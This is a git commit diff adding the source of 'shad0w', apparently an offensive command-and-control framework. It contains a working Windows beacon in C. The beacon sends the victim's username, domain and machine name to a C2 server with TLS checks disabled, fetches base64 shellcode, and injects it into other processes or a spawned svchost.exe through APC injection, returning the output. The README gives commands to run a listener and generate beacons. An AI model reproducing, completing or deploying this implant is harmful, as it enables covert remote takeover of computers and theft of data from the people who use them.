initial commit

This commit is contained in:
brucewayne 2020-04-28 16:49:12 +00:00
parent 7275e57105
commit 2d03dc6bfa
359 changed files with 291192 additions and 0 deletions

11
Dockerfile Normal file
View File

@ -0,0 +1,11 @@
FROM kalilinux/kali-rolling
LABEL maintainer="batsec - @_batsec_"
#removed for testing
COPY . /root/shad0w
WORKDIR /root/shad0w
RUN ./install.sh
ENTRYPOINT ["python3.8", "./shad0w.py"]

7
Makefile Normal file
View File

@ -0,0 +1,7 @@
all: install_libs
gencerts:
$(shell openssl req -x509 -newkey rsa:4096 -keyout certs/key.pem -out certs/cert.pem -days 365 -nodes)
install_libs:
$(shell pip3 install -r requirements.txt)

28
README.md Normal file
View File

@ -0,0 +1,28 @@
# shad0w
blah
## Setup
build...
docker build -t shad0w .
run...
docker run -it shad0w
dev...
sudo docker run -v $(pwd):/root/shad0w -it shad0w -d
sudo docker run -v $(pwd):/root/shad0w/bridge -it shad0w -d
notes:
x86_64-w64-mingw32-gcc test.c -o test.exe -Wl,--pic-executable,-e,main
only mingw in kali repos
x86_64-w64-mingw32-gcc (GCC) 9.3-win32 20200324
9.3-win32
shad0w listen -a dylan.codes -p 443
shad0w beacon -a dylan.codes -p 443 -j 1 -f raw -o beacon.bin

2
TODO Normal file
View File

@ -0,0 +1,2 @@
beacon creation
util commands eg ls, cat, touch

View File

@ -0,0 +1,39 @@
[04/16/2020 08:19:21] [d(0)] core: Created user based module store
[04/16/2020 08:19:23] [e(0)] core: Unexpected output running /usr/share/metasploit-framework/modules/auxiliary/gather/office365userenum.py:
/usr/bin/env: 'python': No such file or directory
[04/16/2020 08:19:23] [e(0)] core: Failed to connect to the database: No database YAML file
[04/16/2020 08:19:23] [e(0)] core: Unable to load module /usr/share/metasploit-framework/modules/auxiliary/gather/office365userenum.py, unknown module type
[04/16/2020 09:15:43] [e(0)] core: Unable to load module /usr/share/metasploit-framework/modules/auxiliary/gather/office365userenum.py Errno::EPIPE Broken pipe /usr/share/metasploit-framework/lib/msf/core/modules/external/bridge.rb:78:in `write'
/usr/share/metasploit-framework/lib/msf/core/modules/external/bridge.rb:78:in `write_message'
/usr/share/metasploit-framework/lib/msf/core/modules/external/bridge.rb:71:in `send'
/usr/share/metasploit-framework/lib/msf/core/modules/external/bridge.rb:18:in `exec'
/usr/share/metasploit-framework/lib/msf/core/modules/external.rb:25:in `exec'
/usr/share/metasploit-framework/lib/msf/core/modules/external.rb:47:in `describe'
/usr/share/metasploit-framework/lib/msf/core/modules/external.rb:13:in `meta'
/usr/share/metasploit-framework/lib/msf/core/modules/external/shim.rb:7:in `generate'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/executable.rb:88:in `read_module_content'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:127:in `load_module'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:246:in `block in load_modules'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/executable.rb:53:in `block (2 levels) in each_module_reference_name'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/rex-core-0.1.13/lib/rex/file.rb:133:in `block in find'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/rex-core-0.1.13/lib/rex/file.rb:132:in `catch'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/rex-core-0.1.13/lib/rex/file.rb:132:in `find'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/executable.rb:42:in `block in each_module_reference_name'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/executable.rb:31:in `foreach'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/executable.rb:31:in `each_module_reference_name'
/usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:245:in `load_modules'
/usr/share/metasploit-framework/lib/msf/core/module_manager/loading.rb:135:in `block in load_modules'
/usr/share/metasploit-framework/lib/msf/core/module_manager/loading.rb:133:in `each'
/usr/share/metasploit-framework/lib/msf/core/module_manager/loading.rb:133:in `load_modules'
/usr/share/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:41:in `block in add_module_path'
/usr/share/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:40:in `each'
/usr/share/metasploit-framework/lib/msf/core/module_manager/module_paths.rb:40:in `add_module_path'
/usr/share/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:50:in `block in init_module_paths'
/usr/share/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:49:in `each'
/usr/share/metasploit-framework/lib/msf/base/simple/framework/module_paths.rb:49:in `init_module_paths'
/usr/share/metasploit-framework/lib/msf/base/simple/framework.rb:122:in `simplify'
/usr/share/metasploit-framework/lib/msf/base/simple/framework.rb:74:in `create'
/usr/bin/msfvenom:46:in `init_framework'
/usr/bin/msfvenom:55:in `framework'
/usr/bin/msfvenom:446:in `<main>'

View File

File diff suppressed because it is too large Load Diff

20
beacon/build/Makefile Normal file
View File

@ -0,0 +1,20 @@
WIN_CC=/usr/bin/x86_64-w64-mingw32-gcc
# when compling the json stuffs:
# apt install autoconf automake libtool
# ./autogen.sh
# ./configure --host=x86_64-w64-mingw32 --disable-static --enable-shared LDFLAGS=-static
# make install
WIN_FLAGS=-L../lib/json-c/.libs/ -ljson-c -Wl,-Bstatic -lwinhttp -Wl,-Bstatic -DWIN -lwtsapi32 --static -Wl,--pic-executable,-e,main -w
WIN_OUTNAME=../beacon.exe
SOURCES=debug.c core.c base64.c beacon.c loader.c
all: clean beacon
clean:
$(shell rm $(WIN_OUTNAME))
beacon:
$(WIN_CC) $(SOURCES) -o $(WIN_OUTNAME) $(WIN_FLAGS)

102
beacon/build/base64.c Normal file
View File

@ -0,0 +1,102 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "base64.h"
char *base64_encode(const unsigned char *data, size_t input_length, size_t *output_length) {
*output_length = 4 * ((input_length + 2) / 3);
char *encoded_data = malloc(*output_length);
if (encoded_data == NULL) return NULL;
for (int i = 0, j = 0; i < input_length;) {
uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
}
for (int i = 0; i < mod_table[input_length % 3]; i++)
encoded_data[*output_length - 1 - i] = '=';
return encoded_data;
}
unsigned char *base64_decode(const char *data, size_t input_length, size_t *output_length) {
if (decoding_table == NULL) build_decoding_table();
if (input_length % 4 != 0) return NULL;
*output_length = input_length / 4 * 3;
if (data[input_length - 1] == '=') (*output_length)--;
if (data[input_length - 2] == '=') (*output_length)--;
unsigned char *decoded_data = malloc(*output_length);
if (decoded_data == NULL) return NULL;
for (int i = 0, j = 0; i < input_length;) {
uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
uint32_t triple = (sextet_a << 3 * 6)
+ (sextet_b << 2 * 6)
+ (sextet_c << 1 * 6)
+ (sextet_d << 0 * 6);
if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;
if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;
if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;
}
return decoded_data;
}
size_t b64_decoded_size(const char *in)
{
size_t len;
size_t ret;
size_t i;
if (in == NULL)
return 0;
len = strlen(in);
ret = len / 4 * 3;
for (i=len; i-->0; ) {
if (in[i] == '=') {
ret--;
} else {
break;
}
}
return ret;
}
void build_decoding_table() {
decoding_table = malloc(256);
for (int i = 0; i < 64; i++)
decoding_table[(unsigned char) encoding_table[i]] = i;
}
void base64_cleanup() {
free(decoding_table);
}

19
beacon/build/base64.h Normal file
View File

@ -0,0 +1,19 @@
static char encoding_table[] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
static char *decoding_table = NULL;
static int mod_table[] = {0, 2, 1};
char *base64_encode(const unsigned char *data, size_t input_length, size_t *output_length);
unsigned char *base64_decode(const char *data, size_t input_length, size_t *output_length);
size_t b64_decoded_size(const char *in);
void build_decoding_table();
void base64_cleanup();

96
beacon/build/beacon.c Normal file
View File

@ -0,0 +1,96 @@
#define WIN32_LEAN_AND_MEAN
// headers needed so we can function
#include <windows.h>
#include <stdio.h>
// main header file
#include "core.h"
#include "beacon.h"
// dynamic header file, contains all info for callback
#include "settings.h"
// dllmain, fist code to run
// BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
void main()
{
// jus sum variables lol
BOOL Success;
DWORD OpCode;
char* Buffer;
DWORD dwSize = 63;
BOOL retValue = TRUE;
LPCWSTR UriBuffer[MAX_PATH * 3];
struct BasicUserInfo UserInfo;
// collect basic info
if (!GetBasicUserInfo(&UserInfo))
{
// thats kinda a tuff one, we need this info to function and if we can't get this basic info straight up we cant follow the protocol properly.
// let still callback to the C2 but lets just inform them of the error, via NULLs. therefore we still get to keep the session cause other stuff might work.
strcpy( UserInfo.UserName, "NULL" );
strcpy( UserInfo.DomainName, "NULL" );
strcpy( UserInfo.ComputerName, "NULL" );
}
// format the data correctly so it can be used when we call back to the c2
sprintf((char*)UriBuffer, "username=%s&domain=%s&machine=%s", UserInfo.UserName, UserInfo.DomainName, UserInfo.ComputerName);
// try register back with the C2
printf("%s\n", UriBuffer);
while (!BeaconRegisterC2(_C2_CALLBACK_ADDRESS, _C2_CALLBACK_PORT, _CALLBACK_USER_AGENT, (LPCWSTR)UriBuffer, dwSize))
{
// not much we can do really if we cant hit the c2, guess we just wait an retry.
Sleep(_CALLBACK_JITTER);
}
// callback to the c2 and check if theres a commands to run, if so check what it is and run it. If the command then fails to run, report this back to the c2.
while (TRUE)
{
Buffer = BeaconCallbackC2(_C2_CALLBACK_ADDRESS, _C2_CALLBACK_PORT, _CALLBACK_USER_AGENT, &OpCode, NULL, NULL, NULL);
switch (OpCode)
{
case 0x1000:
// no task, just sleep an check in later
Success = TRUE;
break;
case 0x2000:
// execute module, this is much stealthier
Success = ExecuteCode(Buffer, TRUE);
break;
case 0x3000:
// execute code provided from the user, execution method is diffrent
// because the users will want output from there code. Also the module
// code execution technique wont work so well will variable code
// provided by a user.
Success = ExecuteCode(Buffer, FALSE);
break;
}
if (!Success)
{
ReportExecutionFail();
}
Sleep(_CALLBACK_JITTER);
}
// really should not hit this, so if it does lets just die
DieCleanly();
}

7
beacon/build/beacon.h Normal file
View File

@ -0,0 +1,7 @@
BOOL BeaconRegisterC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, LPCWSTR UriBuffer, DWORD dwSize);
LPCWSTR* BeaconCallbackC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, DWORD *OpCode, LPCSTR SendBuffer, DWORD SendOpCode, DWORD SendBufferSize);
BOOL GetBasicUserInfo(struct BasicUserInfo *UserInfo);
LPVOID DieCleanly();
LPVOID ReportExecutionFail();

View File

@ -0,0 +1,47 @@
// use winapi for this
#include "../lib/zlib/zlib.h"
#include <stdio.h>
#include <string.h>
int gzip_inflate(char *compr, int comprLen, char *uncompr, int uncomprLen)
{
int err;
z_stream d_stream;
d_stream.zalloc = (alloc_func)0;
d_stream.zfree = (free_func)0;
d_stream.opaque = (voidpf)0;
d_stream.next_in = (unsigned char *)compr;
d_stream.avail_in = comprLen;
d_stream.next_out = (unsigned char *)uncompr;
d_stream.avail_out = uncomprLen;
err = inflateInit2(&d_stream, 16+MAX_WBITS);
if (err != Z_OK) return err;
while (err != Z_STREAM_END) err = inflate(&d_stream, Z_NO_FLUSH);
err = inflateEnd(&d_stream);
return err;
}

View File

@ -0,0 +1 @@
char* decompress(char* cdata);

433
beacon/build/core.c Normal file
View File

@ -0,0 +1,433 @@
// platform specific headers needed so we can function
#include <stdio.h>
// so we can parse the json data
#include "../lib/json-c/json.h"
// local
#include "base64.h"
#include "compression.h"
#ifdef WIN
// use our windows dpendencies
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winhttp.h>
#include <lm.h>
#endif
// core header file
#include "core.h"
// core functions
BOOL GetBasicUserInfo(struct BasicUserInfo *UserInfo)
{
/* get basic infomation about how the current user is running */
#define INFO_BUFFER_SIZE 32767
DWORD dwUserBuf = 256;
char chCurrentUser[256];
LPSTR DomainBuf[MAX_PATH], ComputerBuf[MAX_PATH];
DWORD bufSize2, bufSize3 = UNLEN+1;
// set username
GetUserName(chCurrentUser, &dwUserBuf);
UserInfo->UserName = chCurrentUser;
// set the domain
ZeroMemory(DomainBuf, MAX_PATH);
GetComputerNameEx( ComputerNameDnsDomain, DomainBuf, &bufSize2 );
UserInfo->DomainName = DomainBuf;
if (strlen(UserInfo->DomainName) == 0)
{
UserInfo->DomainName = "NULL";
}
// set the computer name
GetComputerNameA( ComputerBuf, &bufSize3 );
UserInfo->ComputerName = ComputerBuf;
return TRUE;
}
LPVOID CheckIfDie(LPCWSTR *ReadBuffer)
{
// get the 'alive' parameter of the json data and if its false... die
struct json_object *parsed_json;
parsed_json = json_tokener_parse(ReadBuffer);
parsed_json = json_object_object_get(parsed_json, "alive");
if (parsed_json != NULL)
{
if (!json_object_get_boolean(parsed_json))
{
DieCleanly();
}
}
}
LPVOID DieCleanly()
{
// not much to say bout this lol
exit(1);
}
BOOL BeaconRegisterC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, LPCWSTR UriBuffer, DWORD dwSize)
{
/* callback and register this beacon with the C2 */
// init some important variables
BOOL bResults = FALSE;
DWORD flags;
CHAR ReadBuffer[dwSize + 1];
DWORD dwDownloaded = 0;
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
struct json_object *parsed_json;
// initiate the session
hSession = WinHttpOpen((LPCWSTR)UserAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession)
{
// not really alot we can do about this, guess we just return and try again later...
return FALSE;
}
// do the connection
hConnect = WinHttpConnect(hSession, (LPCWSTR)CallbackAddress, CallbackPort, 0);
if (!hConnect)
{
// again, we cant do nothin so just go again later
return FALSE;
}
// set up the request
hRequest = WinHttpOpenRequest(hConnect, L"POST", _REGISTER_URL, NULL, NULL, NULL, WINHTTP_FLAG_BYPASS_PROXY_CACHE | WINHTTP_FLAG_SECURE);
if (!hRequest)
{
// you get the idea by now
return FALSE;
}
// set the flags for our request, basically so we can connect when the c2 ssl cert is fucked
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
{
// guess what...
return FALSE;
}
// finally send the actual request to the c2
bResults = WinHttpSendRequest(hRequest, _POST_HEADER, _HEADER_LEN, (LPVOID)UriBuffer, strlen((char*)UriBuffer), strlen((char*)UriBuffer), 0);
// make sure the request was successful
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
// no lets get the session id
if (bResults)
{
do
{
if (!WinHttpQueryDataAvailable( hRequest, &dwSize))
{
// Theres no data avalible
return FALSE;
}
if (!WinHttpReadData( hRequest, (LPVOID)ReadBuffer, dwSize, &dwDownloaded))
{
// been an error
return FALSE;
}
} while (dwSize > 0);
}
// clean up the buffer so its parseable
ReadBuffer[57] = '\0';
// clean up the request stuffs now we are done with it.
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
// now its time to parse the json data in the responce
parsed_json = json_tokener_parse(ReadBuffer);
// get the id and store it in the idbuffer
parsed_json = json_object_object_get(parsed_json, "id");
strcpy(IdBuffer, json_object_get_string(parsed_json));
// now check we dont need to kill ourselves
CheckIfDie(&ReadBuffer);
return TRUE;
}
LPCSTR* BuildCheckinData(DWORD OpCode, LPCSTR Data, DWORD Mode)
{
/*
Build the reply to the C2 containing any data we need to send back
*/
struct json_object *jobj;
// init the json object
jobj = json_object_new_object();
// create the id buffer
json_object_object_add(jobj, "id", json_object_new_string(IdBuffer));
// add the correct data to the json data
switch (Mode)
{
case MODE_CHECKIN_NO_DATA:
// dont add any data
break;
case MODE_CHECKIN_DATA:
// add the opcode and data to the json data
json_object_object_add(jobj, "opcode", json_object_new_int64(OpCode));
json_object_object_add(jobj, "data", json_object_new_string(Data));
break;
default:
break;
}
// return the formated data
return (LPCSTR*)json_object_to_json_string_ext(jobj, JSON_C_TO_STRING_PLAIN);
}
LPCWSTR* BeaconCallbackC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, DWORD *OpCode, LPCSTR SendBuffer, DWORD SendOpCode, DWORD SendBufferSize)
{
/* callback to the c2 and check for a task or deliver data*/
// init some important variables for are callback
LPCWSTR* ResBuffer;
BOOL bResults = FALSE;
DWORD dwAvailableBytesToRead = 0;
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
LPCSTR* UriBuffer;
DWORD flags;
struct json_object *parsed_json;
// check if we doing a normal checkin or sending data
if (SendBuffer == NULL && SendOpCode == NULL)
{
UriBuffer = (LPCSTR*)malloc(5000);
} else {
UriBuffer = (LPCSTR*)malloc(SendBufferSize * 2);
}
// initiate the session
hSession = WinHttpOpen((LPCWSTR)UserAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSession)
{
// not really alot we can do about this, guess we just return and try again later...
return FALSE;
}
// do the connection
hConnect = WinHttpConnect(hSession, (LPCWSTR)CallbackAddress, CallbackPort, 0);
if (!hConnect)
{
// again, we cant do nothin so just go again later
return FALSE;
}
// set up the request
hRequest = WinHttpOpenRequest(hConnect, L"POST", _CALLBACK_URL, NULL, NULL, NULL, WINHTTP_FLAG_BYPASS_PROXY_CACHE | WINHTTP_FLAG_SECURE);
if (!hRequest)
{
// you get the idea by now
return FALSE;
}
// set the flags for our request, basically so we can connect when the c2 ssl cert is fucked
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
{
// guess what...
return FALSE;
}
// build the data for the request
memset(UriBuffer, '\0', strlen(UriBuffer));
if (SendOpCode != NULL)
{
UriBuffer = BuildCheckinData(SendOpCode, SendBuffer, MODE_CHECKIN_DATA);
} else {
UriBuffer = BuildCheckinData(NULL, NULL, MODE_CHECKIN_NO_DATA);
}
// finally send the actual request to the c2
bResults = WinHttpSendRequest(hRequest, _POST_HEADER, _HEADER_LEN, (LPVOID)UriBuffer, strlen((char*)UriBuffer), strlen((char*)UriBuffer), 0);
// make sure the request was successful
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
ResBuffer = "";
do
{
// check how much available data there is
dwSize = 0;
if (!WinHttpQueryDataAvailable( hRequest, &dwSize))
{
printf( "Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
break;
}
// out of data
if (!dwSize)
{
break;
}
// allocate space for the buffer
pszOutBuffer = (LPSTR)malloc(dwSize+1);
if (!pszOutBuffer)
{
printf("Out of memory\n");
break;
}
// read all the data
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData( hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
// been an error
return FALSE;
}
else
{
asprintf(&ResBuffer, "%s%s", ResBuffer, pszOutBuffer);
}
// free the memory allocated to the buffer.
free(pszOutBuffer);
} while (dwSize > 0);
}
// check if we need to die
CheckIfDie(ResBuffer);
// get the opcode
parsed_json = json_tokener_parse(ResBuffer);
parsed_json = json_object_object_get(parsed_json, "task");
*OpCode = json_object_get_int(parsed_json);
parsed_json = json_tokener_parse(ResBuffer);
parsed_json = json_object_object_get(parsed_json, "args");
if (parsed_json != NULL)
{
return json_object_get_string(parsed_json);
}
return NULL;
}
BOOL ExecuteCode(char* Base64Buffer, BOOL CodeType)
{
unsigned char shellcode[] = {0};
size_t out_len = strlen(Base64Buffer) + 1;
size_t b64_len = b64_decoded_size(Base64Buffer);
char* b64_out = (char*)malloc(out_len);
b64_out = base64_decode((const char*)Base64Buffer, out_len - 1, &out_len);
DEBUG("Calling ExecuteMemory");
switch (CodeType)
{
case TRUE:
// execute module
return ExecuteMemory(b64_out, b64_len, TRUE);
case FALSE:
// execute arbitary user code
return ExecuteMemory(b64_out, b64_len, FALSE);
default:
return FALSE;
}
}
LPVOID ReportExecutionFail()
{
return;
}

25
beacon/build/core.h Normal file
View File

@ -0,0 +1,25 @@
#define _REGISTER_URL L"/register"
#define _CALLBACK_URL L"/tasks"
#define _POST_HEADER L"Content-Type: application/x-www-form-urlencoded\r\n"
#define _HEADER_LEN -1
#define MODE_CHECKIN_DATA 0x1000
#define MODE_CHECKIN_NO_DATA 0x2000
BOOL BeaconRegisterC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, LPCWSTR UriBuffer, DWORD dwSize);
LPCWSTR* BeaconCallbackC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, DWORD *OpCode, LPCSTR SendBuffer, DWORD SendOpCode, DWORD SendBufferSize);
LPVOID DieCleanly();
LPVOID CheckIfDie(LPCWSTR *ReadBuffer);
LPVOID ReportExecutionFail();
struct BasicUserInfo
{
LPSTR UserName;
LPSTR ComputerName;
LPSTR DomainName;
};
CHAR IdBuffer[65];

1
beacon/build/debug.c Normal file
View File

@ -0,0 +1 @@
void DEBUG(const char* text) { printf("[DEBUG] %s\n", text); }

264
beacon/build/loader.c Normal file
View File

@ -0,0 +1,264 @@
#define WIN32_LEAN_AND_MEAN
// kinda important
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <windows.h>
#include <winbase.h>
#include <wtsapi32.h>
#include <tlhelp32.h>
#include <processthreadsapi.h>
// our local stuff
#include "settings.h"
#include "loader.h"
#define MAX_OUTPUT 1000
#define IDLE_KILL_TIME 60
SYSTEMTIME start_time, current_time;
// find a process that is suitable to inject into
HANDLE FindProcess(const char* process)
{
DWORD PID = 0;
HANDLE hProcess = NULL;
DWORD dwProcCount = 0;
WTS_PROCESS_INFO* pWPIs = NULL;
if(!WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &pWPIs, &dwProcCount))
{
// error meaning we wont be able to get the processes
printf("WTSEnumerateProcesses fail\n");
return -1;
}
for(DWORD i = 0; i < dwProcCount; i++)
{
// check to see if we can infact open the process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pWPIs[i].ProcessId);
if (hProcess)
{
// if we can use the process, check it aint us an if it aint return the pid to the injector
if ((GetCurrentProcessId() != pWPIs[i].ProcessId) && (pWPIs[i].ProcessId != 0))
{
// free up the memory
WTSFreeMemory(pWPIs);
pWPIs = NULL;
// return the pid to the injector
return hProcess;
}
}
}
// went through the loop and never got a pid :-(
return -1;
}
BOOL InjectModule(CHAR* Bytes, DWORD Size)
{
PVOID rBuffer;
HANDLE hProcess;
// get a handle on a process
hProcess = FindProcess(NULL);
printf("Injecting into pid: %d\n", GetProcessId(hProcess));
rBuffer = VirtualAllocEx(hProcess, NULL, Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, rBuffer, Bytes, Size, NULL);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
DWORD threadId = 0;
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
BOOL bResult = Thread32First(hSnapshot, &threadEntry);
while (bResult)
{
bResult = Thread32Next(hSnapshot, &threadEntry);
if (bResult)
{
if (threadEntry.th32OwnerProcessID == GetProcessId(hProcess))
{
threadId = threadEntry.th32ThreadID;
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
DWORD dwResult = QueueUserAPC((PAPCFUNC)rBuffer, hThread, NULL);
CloseHandle(hThread);
}
}
}
CloseHandle(hSnapshot);
CloseHandle(hProcess);
if (threadId == 0)
{
// this means that we couldnt find a thread to inject into
return FALSE;
}
return TRUE;
}
void ReadFromPipe(HANDLE g_hChildStd_OUT_Rd)
{
char chBuf[MAX_OUTPUT + 1];
DWORD dwRead, rOpCode;
BOOL bSuccess = FALSE;
do {
// set the current timestamp
GetLocalTime(&start_time);
// read the data from the pipe
bSuccess = ReadFile( g_hChildStd_OUT_Rd, chBuf, MAX_OUTPUT, &dwRead, NULL);
// send the data to shad0w
BeaconCallbackC2(_C2_CALLBACK_ADDRESS, _C2_CALLBACK_PORT, _CALLBACK_USER_AGENT, &rOpCode, (char*)chBuf, 0x2000, dwRead);
// clean up the old buffer
memset(chBuf, '\0', sizeof(chBuf));
} while (TRUE);
return;
}
void ProcessWatch(HANDLE pHandle)
// not currently in use as is way to cpu intensive
{
while (TRUE)
{
// check if there has been any output read yet
if (start_time.wSecond != 0)
{
// if no data has been read in the last 5 seconds
GetLocalTime(&current_time);
if ((current_time.wSecond - start_time.wSecond) >= IDLE_KILL_TIME)
{
// kill the process
TerminateProcess(pHandle, 1);
DEBUG("killed idle process");
return;
}
}
}
}
BOOL InjectUserCode(CHAR* Bytes, DWORD Size)
{
/*
Run user supplied code and send all the output back to them
*/
DWORD threadId;
HANDLE tHandle;
HANDLE hProcess;
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL;
SECURITY_ATTRIBUTES saAttr;
// Set the bInheritHandle flag so pipe handles are inherited.
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
// create a pipe to get the stdout
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
{
DEBUG(TEXT("StdoutRd CreatePipe"));
}
// ensure the read handle to the pipe for stdout is not inherited.
if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
{
DEBUG(TEXT("Stdout SetHandleInformation"));
}
// create a pipe for the child process's stdin.
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
{
DEBUG(TEXT("Stdin CreatePipe"));
}
// ensure the write handle to the pipe for stdin is not inherited.
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
{
DEBUG(TEXT("Stdin SetHandleInformation"));
}
// define our startup info
STARTUPINFO sInfo;
BOOL bSuccess = FALSE;
PROCESS_INFORMATION pInfo;
// zero out the structures
ZeroMemory( &pInfo, sizeof(PROCESS_INFORMATION) );
ZeroMemory( &sInfo, sizeof(STARTUPINFO) );
// change the std values to our pipes
sInfo.cb = sizeof(STARTUPINFO);
sInfo.hStdError = g_hChildStd_OUT_Wr;
sInfo.hStdOutput = g_hChildStd_OUT_Wr;
sInfo.hStdInput = g_hChildStd_IN_Rd;
sInfo.dwFlags |= STARTF_USESTDHANDLES;
// start the thread to read from the stdout pipe
CreateThread(NULL, 0, ReadFromPipe, g_hChildStd_OUT_Rd, 0, &threadId);
// spawn svchost.exe with a different ppid an jus start it running
CreateProcessA("C:\\Windows\\system32\\svchost.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
// alloc and write the code to the process
PVOID rBuffer = VirtualAllocEx(pInfo.hProcess, NULL, Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pInfo.hProcess, rBuffer, Bytes, Size, NULL);
// execute the code inside the process
QueueUserAPC((PAPCFUNC)rBuffer, pInfo.hThread, NULL);
// start the process cleanup thread
// CreateThread(NULL, 0, ProcessWatch, pInfo.hProcess, 0, &threadId);
ZeroMemory(Bytes, Size);
return;
}
BOOL ExecuteMemory(char* Bytes, size_t Size, BOOL Module)
{
do
{
// select the correct way the code needs to be ran
switch (Module)
{
case TRUE:
// execute module
InjectModule(Bytes, Size);
break;
case FALSE:
// execute arbitary user code
InjectUserCode(Bytes, Size);
default:
break;
}
DEBUG("code should have run");
break;
} while (TRUE);
return TRUE;
}

1
beacon/build/loader.h Normal file
View File

@ -0,0 +1 @@
